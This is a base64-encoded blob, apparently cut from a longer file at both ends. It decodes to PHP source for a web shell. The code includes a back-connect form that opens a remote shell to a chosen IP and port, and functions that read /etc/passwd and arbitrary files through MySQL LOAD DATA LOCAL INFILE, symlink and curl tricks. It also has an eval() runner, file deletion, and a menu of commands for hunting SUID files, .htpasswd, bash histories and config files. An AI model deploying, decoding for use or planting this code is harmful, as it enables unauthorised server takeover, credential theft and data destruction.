Qk8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsiPkJhY2sgQ29ubmVjdGlvbg0KICAgICAgIAkJICAgIDxpbnB1dCBuYW1lPSdDT05fRXhlY3V0ZScgdHlwZT0nc3VibWl0JyBpZD0iQ09OX0V4ZWN1dGUiIHZhbHVlPSdDb25uZWN0Jz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgCQkgIDx0ZCBoZWlnaHQ9IjQ1IiBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBpZigkX1BPU1RbJ0NPTl9FeGVjdXRlJ10pe2VjaG8gJF9QT1NUWydpcCddOyB9ZWxzZSB7ZWNobyBHZXRSZWFsSVAoKTsgfSA/PiIgLz4NCiAgIAkJICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSI8P3BocCBpZigkX1BPU1RbJ0NPTl9FeGVjdXRlJ10pe2VjaG8gJF9QT1NUWydwb3J0J107IH1lbHNlIHtlY2hvICI0NDMiOyB9ID8+IiAvPg0KICAgCQkgICAgICA8c2VsZWN0IG5hbWU9IkNPTl9UeXBlIiA+DQogICAJCSAgICAgIAk8b3B0aW9uIHZhbHVlPSJzb2NrcyI+U09DS1M8L29wdGlvbj4NCiAgIAkJICAgICAgCTxvcHRpb24gdmFsdWU9ImZzb2Nrb3BlbiI+RlNPQ0tPUEVOPC9vcHRpb24+DQogICAJCSAgICAgIDwvc2VsZWN0Pg0KICAgCQkgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA8IS0tIEVuZCBPZiBDb21tYW5kcyBBbGlhcy0tPg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPD9waHANCmZ1bmN0aW9uIEluY2x1ZGVSZWFkZXIoJHBhdGgpIHsNCglnbG9iYWwgJG9zOw0KCWlmKCRvcyA9PSAiV2luZG93cyIpeyRzbGFzaCA9ICJcXCI7fWVsc2V7JHNsYXNoID0gIi8iO30NCgkkZmlsZU5hbWUgPSBzdWJzdHIoc3RycmNocigkcGF0aCwkc2xhc2gpLDEpOw0KCSRpbmNsdWRlUGF0aCA9IHN1YnN0cigkcGF0aCwwLHN0cnBvcygkcGF0aCwkZmlsZU5hbWUsMCkpOw0KCWluaV9zZXQoImluY2x1ZGVfcGF0aCIsJGluY2x1ZGVQYXRoKTsNCglpbmNsdWRlKCRmaWxlTmFtZSk7DQp9DQpmdW5jdGlvbiBHZXRVc2VyczEoKSB7DQoJcmV0dXJuIEV4ZSgnbHMgL3Zhci9tYWlsJyk7DQp9DQpmdW5jdGlvbiBHZXRVc2VyczIoKSB7DQoJJGFycmF5ID0gYXJyYXkoKTsNCgkkbGluZXMgPSBmaWxlKCIvZXRjL3Bhc3N3ZCIpOw0KCWZvcmVhY2goJGxpbmVzIGFzICRucj0+JHZhbCkgew0KCQkkc3RyID0gZXhwbG9kZSgiOiIsJHZhbCk7DQoJCWFycmF5X3B1c2goJGFycmF5LCRzdHJbMF0pOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KZnVuY3Rpb24gR2V0VXNlcnMzKCkgew0KCSRhcnJheSA9IGFycmF5KCk7DQoJaWYgKCRkaCA9IG9wZW5kaXIoIi9ob21lLyIpKSAgew0KCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpICB7DQoJCQlhcnJheV9wdXNoKCRhcnJheSwkZmlsZSk7DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJcmV0dXJuICRhcnJheTsNCgl9DQp9DQpmdW5jdGlvbiBHZXRVc2VyczQoKSB7DQoJJGRpciA9ICIvaG9tZS8iOw0KCSRhcnJheSA9IGFycmF5KCk7DQogICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICRmID0gcmVhZGRpcigkZGgpOw0KICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRkaDI9b3BlbmRpcigkZGlyLiIvIik7DQogICAgICAgICAgICAkZjIgPSByZWFkZGlyKCRkaDIpOw0KICAgICAgICAgICAgd2hpbGUgKCgkZjIgPSByZWFkZGlyKCRkaDIpKSAhPT0gZmFsc2UpIHsNCgkJCQkkZjIuPSIvIjsNCgkJCQkkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOw0KCQkJCSRmMyA9IHJlYWRkaXIoJGRoMyk7DQoJCQkJd2hpbGUgKCgkZjMgPSByZWFkZGlyKCRkaDMpKSAhPT0gZmFsc2UpIHsNCgkJCQkJYXJyYXlfcHVzaCgkYXJyYXksJGYzKTsNCgkJCQl9DQoJCQl9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICAgCXJldHVybiAkYXJyYXk7DQoJIH0JDQp9DQpmdW5jdGlvbiBHZXRVc2VyczUoKXsNCglyZXR1cm4gcmVhbHBhdGgoJy9ldGMvcGFzc3dkJyk7DQp9DQpmdW5jdGlvbiBFcnJvckxvZygkcGF0aCl7DQoJJHRlbXBGaWxlID0gdW5pcWlkKCk7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXskcGF0aCA9IGFkZHNsYXNoZXMoJHBhdGgpO30NCgllcnJvcl9sb2coZmlsZV9nZXRfY29udGVudHMoJHBhdGgpLCAzLCAkdGVtcEZpbGUpOw0KCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgl1bmxpbmsoJHRlbXBGaWxlKTsNCglyZXR1cm4gJGNvbnRlbnQ7CQ0KfQ0KZnVuY3Rpb24gU3ltbGlua0YoJHBhdGgpIHsNCgkkdGVtcEZpbGUgPSB1bmlxaWQoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQlzeW1saW5rKCRwYXRoLCR0ZW1wRmlsZSk7DQoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgkJdW5saW5rKCR0ZW1wRmlsZSk7DQoJCXJldHVybiAkY29udGVudDsNCgl9DQp9DQpmdW5jdGlvbiBNeVNRTFJlYWRlcigkcGF0aCkgew0KCWdsb2JhbCAkREJob3N0LCREQnVzZXIsJERCcGFzczsNCglpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpICE9IDApeyRwYXRoID0gYWRkc2xhc2hlcygkcGF0aCk7fQ0KCSRjb24gPSBteXNxbF9jb25uZWN0KCREQmhvc3QsJERCdXNlciwkREJwYXNzKTsNCglteXNxbF9xdWVyeSgiQ1JFQVRFIERBVEFCQVNFIGEiKTsNCglteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGEuYSAoYSB2YXJjaGFyKDEwMjQpKSIpOw0KCW15c3FsX3F1ZXJ5KCJHUkFOVCBTRUxFQ1QsSU5TRVJUIE9OIGEuYSBUTyAnIi4kREJ1c2VyLiInIik7DQoJbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuJHBhdGguIicgSU5UTyBUQUJMRSBhLmEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgYSBGUk9NIGEuYSIpOw0KCXdoaWxlKGxpc3QoJHJvdykgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpe3ByaW50ICRyb3cgLiBjaHIoMTApO30NCglteXNxbF9xdWVyeSgiRFJPUCBEQVRBQkFTRSBhIik7DQp9DQpmdW5jdGlvbiBNeVNRTElSZWFkZXIoJHBhdGgpIHsNCglnbG9iYWwgJERCaG9zdCwkREJ1c2VyLCREQnBhc3M7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXskcGF0aCA9IGFkZHNsYXNoZXMoJHBhdGgpO30NCgkkY29uID0gbXlzcWxfY29ubmVjdCgkREJob3N0LCREQnVzZXIsJERCcGFzcyk7DQoJbXlzcWxfcXVlcnkoIkNSRUFURSBEQVRBQkFTRSBhIik7DQoJbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBhLmEgKGEgdmFyY2hhcigxMDI0KSkiKTsNCgkNCglmdW5jdGlvbiByKCRmcCwgJiRidWYsICRsZW4sICYkZXJyKSB7DQogICAgICBwcmludCBmcmVhZCgkZnAsICRsZW4pOw0KCX0NCgkkbSA9IG5ldyBteXNxbGkoJERCaG9zdCwgJERCdXNlciwgJERCcGFzcywgJ2EnKTsNCgkkbS0+b3B0aW9ucyhNWVNRTElfT1BUX0xPQ0FMX0lORklMRSwgMSk7DQoJJG0tPnNldF9sb2NhbF9pbmZpbGVfaGFuZGxlcigiciIpOw0KCSRtLT5xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi4kcGF0aC4iJyBJTlRPIFRBQkxFIGEuYSIpOw0KCSRtLT5jbG9zZSgpOw0KfQ0KZnVuY3Rpb24gREJDb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYikgew0KCSRjb25uZWN0ID0gbXlzcWxfcGNvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpOw0KCWlmKCEkY29ubmVjdCl7ZWNobyAiQ2FuJ3QgQ29ubmVjdCB0byBbICIuJGhvc3QuIiBdIFsgIi4kdXNlci4iIF0gWyAiLiRwYXNzLiIgXSI7IHJldHVybiBmYWxzZTsJfQ0KCWVsc2Ugew0KCQkkdHJ5VG9TZWxlY3REQiA9IG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbm5lY3QpOw0KCQlpZighJHRyeVRvU2VsZWN0REIpe2VjaG8gIkNhbid0IEVudGVyIFRoZSBEYXRhYmFzZSBbICIuJGRiLiIgXSI7IHJldHVybiBmYWxzZTsJCX0NCgkJZWxzZXtyZXR1cm4gdHJ1ZTsgcmV0dXJuICRjb25uZWN0O30NCgl9DQp9DQpmdW5jdGlvbiBSZWFkSWQoJHBhdGgpIHsNCglmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKSB7ICAgDQoJCSRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCgkJaWYgKCFlbXB0eSgkYXJhKSl7d2hpbGUgKGxpc3QgKCRrZXksICR2YWwpID0gZWFoKCRhcmEpKXskY29udGVudCAuPSAkdmFsO30NCgkJfQ0KCX0NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQpmdW5jdGlvbiBJbWFwRigkcGF0aCkgew0KCSRzdHJlYW0gPSBpbWFwX29wZW4oJHBhdGgsICIiLCAiIik7DQoJJHN0ciA9IGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCglpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KCXJldHVybiAkc3RyOw0KfQ0KZnVuY3Rpb24gRmlsZUYoJHBhdGgpIHsNCgkkbGluZXMgPSBmaWxlKCRwYXRoKTsgZm9yZWFjaCgkbGluZXMgYXMgJGxpbmUpeyRjb250ZW50IC49ICRsaW5lO30NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQpmdW5jdGlvbiBDb3B5RigkcGF0aCkgewkNCgkkdGVtcEZpbGUgPSBtZDUodW5pcWlkKCkpLiIuYmIiOw0KCWNvcHkoJHBhdGgsJHRlbXBGaWxlKTsNCgkkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wRmlsZSk7DQoJdW5saW5rKCR0ZW1wRmlsZSk7DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gZmdldHNzRigkcGF0aCkgew0KCXdoaWxlKCgkbGluZSA9IGZnZXRzcygkcGF0aCkpICE9IGZhbHNlKXskY29udGVudCAuPSAkbGluZTt9DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gaGlnaGxpZ2h0RmlsZSgkcGF0aCkgew0KCXJldHVybiBoaWdobGlnaHRfZmlsZSgkcGF0aCk7DQp9DQpmdW5jdGlvbiBtYlNlbmRFbWFpbCgkcGF0aCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykpIHsNCgkJJHRlbXBGaWxlID0gdW5pcWlkKCk7DQoJCSRhZGRpdGlvbmFsX3BhcmFtID0gIi1DICIuJHBhdGguIiAtWCAiLmdldGN3ZCgpLiIvIi4kdGVtcEZpbGU7DQoJCW1iX3NlbmRfbWFpbCgiZW1haWxAZXhhbXBsZS5jb20iLCBOVUxMLCBOVUxMLCBOVUxMLCAkYWRkaXRpb25hbF9wYXJhbSk7DQoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgkJdW5saW5rKCR0ZW1wRmlsZSk7DQoJCXJldHVybiAkY29udGVudDsNCgl9DQp9DQpmdW5jdGlvbiBEZWxldGVGaWxlKCRmaWxlTmFtZSkgew0KCWdsb2JhbCAkb3M7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCd1bmxpbmsnKSkNCgl7JGRlbGV0ZSA9IHVubGluaygkZmlsZU5hbWUpO30NCglpZigoISRkZWxldGUpICYmICgkb3MgPT0gJ1dpbmRvd3MnKSkNCgl7JGRlbGV0ZSA9IEV4ZSgiZGVsICRmaWxlTmFtZSIpOyB9DQoJZWxzZSBpZigoISRkZWxldGUpICYmICgkb3MgPT0gJ0xpbnV4JykpDQoJeyRkZWxldGUgPSBFeGUoInJtIC1mICRmaWxlTmFtZSIpO30NCglpZigkZGVsZXRlKXtyZXR1cm4gdHJ1ZTt9ZWxzZXtyZXR1cm4gZmFsc2U7fQ0KfQ0KZnVuY3Rpb24gQ3VybEZpbGVSZWFkKCRwYXRoKSB7DQoJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kcGF0aC4iXHgwMCIuX19GSUxFX18pOw0KCXZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCn0NCmZ1bmN0aW9uIEZSZWFkRigkcGF0aCkgew0KCSRmaWxlID0gZm9wZW4oJHBhdGgsJ3IrJyk7IC8vT3BlbiBUaGUgRmlsZQ0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSl7aHRtbHNwZWNpYWxjaGFycyhmcmVhZCgkZmlsZSxmaWxlc2l6ZSgkZmlsZSkpKTt9DQoJZmNsb3NlKCRmaWxlKTsNCn0NCmZ1bmN0aW9uIFRlbXBuYW1lRigkcGF0aCkgew0KCWdsb2JhbCAkZGlyOw0KCSR0ZW1wID0gdGVtcG5hbSgkZGlyLCAiY3giKTsNCglpZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kcGF0aCwgJHRlbXApKSB7DQoJCSRoYW5kbGVyID0gZm9wZW4oJHRlbXAsICJyIik7DQoJCSRyZWFkRmlsZSA9IGZyZWFkKCRoYW5kbGVyLCBAZmlsZXNpemUoJHRlbXApKTsNCgkJZmNsb3NlKCRoYW5kbGVyKTsNCgkJJGNvbnRlbnQgLj0gaHRtbHNwZWNpYWxjaGFycygkZmlsZW5hbWUpOw0KCQkkY29udGVudCAuPSBubDJicihodG1sc3BlY2lhbGNoYXJzKCRyZWFkRmlsZSkpOw0KCQkkY29udGVudCAuPSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlbmFtZSk7DQoJCXVubGluaygkdGVtcCk7DQoJCXJldHVybiAkY29udGVudDsNCgl9IAkNCn0NCmZ1bmN0aW9uIEV2YWx1YXRpb24oJGV2YWwpIHsNCgkkZXZhbCA9IHN0cl9yZXBsYWNlKGFycmF5KCI8P3BocCIsIjw/IiwiPz4iKSwiIiwkZXZhbCk7DQoJJGV2YWwgPSBldmFsKCRldmFsKTsNCglpZigkZXZhbCl7cmV0dXJuIHRydWU7fWVsc2V7cmV0dXJuIGZhbHNlO30NCn0NCmZ1bmN0aW9uIE9yYWNsZSgpIHsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpeyRvcmFjbGUgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+Jzt9DQoJZWxzZSB7JG9yYWNsZSA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJG9yYWNsZTsNCn0NCmZ1bmN0aW9uIE1zU1FMKCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKXskbXNTUUwgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+Jzt9DQoJZWxzZSB7JG1zU1FMID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkbXNTUUw7DQp9DQpmdW5jdGlvbiBNeVNRTDIoKSB7DQoJJG15c3FsX3RyeSA9IGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCWlmKCRteXNxbF90cnkpeyRteXNxbCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNlIHskbXlzcWwgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9cmV0dXJuICRteXNxbDsNCn0NCmZ1bmN0aW9uIE1TUUwoKSB7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0JykpeyRtU3FsID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7fQ0KCWVsc2UgeyRtU3FsID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkbVNxbDsNCn0NCmZ1bmN0aW9uIE15c3FsSSgpIHsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbGlfY29ubmVjdCcpKXskbXlzcWxpID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7fQ0KCWVsc2UgeyRteXNxbGkgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9cmV0dXJuICRteXNxbGk7DQp9IA0KZnVuY3Rpb24gR3ppcCgpIHsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKXskZ3ppcCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNlIHskZ3ppcCA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJGd6aXA7DQp9DQpmdW5jdGlvbiBvcGVuQmFzZURpcigpIHsNCgkkb3BlbkJhc2VEaXIgPSBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCglpZiAoISRvcGVuQmFzZURpcil7JG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fQ0KICAgIGVsc2UgeyRvcGVuQmFzZURpciA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30JDQoJcmV0dXJuICRvcGVuQmFzZURpcjsNCn0NCmZ1bmN0aW9uIEN1cmwoKSB7DQoJaWYoZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskY3VybCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNleyRjdXJsID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkY3VybDsNCn0NCmZ1bmN0aW9uIG1hZ2ljUW91dHMoKSB7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpKXskbWFnID0gZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKTt9DQoJaWYgKGVtcHR5KCRtYWcpKXskbWFnID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fQ0KCWVsc2UgeyRtYWc9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO31yZXR1cm4gJG1hZzsNCn0NCmZ1bmN0aW9uIFNhZmVNb2RlKCkgew0KCSRzYWZlX21vZGUgPSBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCglpZiAoISRzYWZlX21vZGUpeyRzYWZlX21vZGUgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9DQogICAgZWxzZSB7JHNhZmVfbW9kZSA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCglyZXR1cm4gJHNhZmVfbW9kZTsNCn0NCmZ1bmN0aW9uIERpc2FibGVGdW5jdGlvbnMoKSB7DQoJJGRpc2Z1biA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQoJaWYgKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO31yZXR1cm4gJGRpc2Z1bjsNCn0NCmZ1bmN0aW9uIFJlZ2lzdGVyR2xvYmFscygpIHsNCglpZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpeyRyZWdpc3Rlcmc9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNleyRyZWdpc3Rlcmc9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJHJlZ2lzdGVyZzsNCn0NCmZ1bmN0aW9uIEdldFJlYWxJUCgpIHsNCiAgICBpZiAoZ2V0ZW52KEhUVFBfWF9GT1JXQVJERURfRk9SKSl7JGlwPWdldGVudihIVFRQX1hfRk9SV0FSREVEX0ZPUik7fSANCgllbHNlaWYgKGdldGVudihIVFRQX0NMSUVOVF9JUCkpeyRpcD1nZXRlbnYoSFRUUF9DTElFTlRfSVApO30NCgllbHNlIHskaXA9Z2V0ZW52KFJFTU9URV9BRERSKTt9DQogICAgcmV0dXJuICRpcDsNCn0NCmZ1bmN0aW9uIFNlbGVjdENvbW1hbmQoJG9zKSB7DQoJZ2xvYmFsICRvczsNCglpZigkb3MgPT0gJ1dpbmRvd3MnKSB7DQoJCWVjaG8gIg0KCQk8c2VsZWN0IG5hbWU9J2FsaWFzJyBpZD0nYWxpYXMnIG9uQ2hhbmdlPSdBZGRBbGlhcygpOycgPg0KCQk8b3B0aW9uIHZhbHVlPScnPk5PTkU8L29wdGlvbj4JDQoJCTxvcHRpb24gdmFsdWU9J2RpcicgPkxpc3QgRGlyZWN0b3J5PC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2RpciAvcyAvdyAvYiBpbmRleC5waHAnPkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2RpciAvcyAvdyAvYiAqY29uZmlnKi5waHAnPkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAgJm5ic3A7ICAmbmJzcDsgICZuYnNwOyAgJm5ic3A7ICAmbmJzcDs8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4nPlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J25ldCBzdGFydCc+U2hvdyBydW5uaW5nIHNlcnZpY2VzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J3Rhc2tsaXN0Jz5TaG93IFBybzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXQgdXNlcic+VXNlciBhY2NvdW50czwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXQgdmlldyc+U2hvdyBjb21wdXRlcnM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nYXJwIC1hJz5BUlAgVGFibGU8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0naXBjb25maWcgL2FsbCc+SVAgQ29uZmlndXJhdGlvbjwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXRzdGF0IC1hbic+bmV0c3RhdCAtYW48L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nc3lzdGVtaW5mbyc+U3lzdGVtIEluZm9ybWF0aW9uczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdnZXRtYWMnPkdldCBNYWMgQWRkcmVzczwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJIjsNCgl9DQoJZWxzZSB7DQoJCWVjaG8gIg0KCQk8c2VsZWN0IG5hbWU9J2FsaWFzJyBpZD0nYWxpYXMnIG9uQ2hhbmdlPSdBZGRBbGlhcygpOycgPg0KCQk8b3B0aW9uIHZhbHVlPScnPk5PTkU8L29wdGlvbj4JDQoJCTxvcHRpb24gdmFsdWU9J2xzIC1sYSc+TGlzdCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nY2F0IC9ldGMvaG9zdHMnPklQIEFkZHJlc3Nlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdjYXQgL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHInPkNoZWNrIE1NQVA8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbHNhdHRyIC12YSc+bGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW08L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3Rlbic+c2hvdyBvcGVuZWQgcG9ydHM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyc+ZmluZCBhbGwgc3VpZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJz5maW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyc+ZmluZCBhbGwgc2dpZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJz5maW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnPmZpbmQgY29uZmlnLmluYy5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCInPmZpbmQgY29uZmlnKiBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIic+ZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtcGVybSAtMiAtbHMnPmZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtcGVybSAtMiAtbHMnPmZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJz5maW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCc+ZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnPmZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnPmZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknPmZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSc+ZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1u